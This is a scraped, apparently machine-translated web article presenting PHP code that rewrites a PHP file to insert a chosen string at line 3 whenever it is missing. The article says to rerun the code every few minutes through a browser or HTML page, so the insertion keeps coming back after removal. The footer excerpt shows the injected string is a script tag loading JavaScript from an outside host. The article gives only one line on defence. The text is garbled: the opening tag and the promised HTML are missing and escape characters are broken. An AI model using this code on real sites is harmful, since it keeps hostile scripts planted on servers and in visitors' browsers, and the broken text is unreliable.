Copy code The code is as follows:
$file="aa.php" ;
$code ="";
$f=fopen($file,"r+");
$content=fread( $f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3 );
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[ ] = $line .$s . "n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>
After saving this file into php, you can use a small program to execute it every few minutes. Browsers like Opera have this function. But I added another html code to run it. You can use IE. You can just open the html and throw it wherever you want.
Copy code The code is as follows:
Solution: These codes will be written in php. We can write a rule to prohibit modifying the php file. That’s it. It can only be used in general servers. If you are a virtual host friend, you need to download the code and check it frequently. The backdoor is the solution
http://www.bkjia.com/PHPjc/325439.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/325439.htmlTechArticleCopy the code as follows: ?php $file="aa.php" ; $code="script src=http ://www.google/ga.js/script"; $f=fopen($file,"r+"); $content=fread($f,filesize($file)); fclose($f); if( !strstr...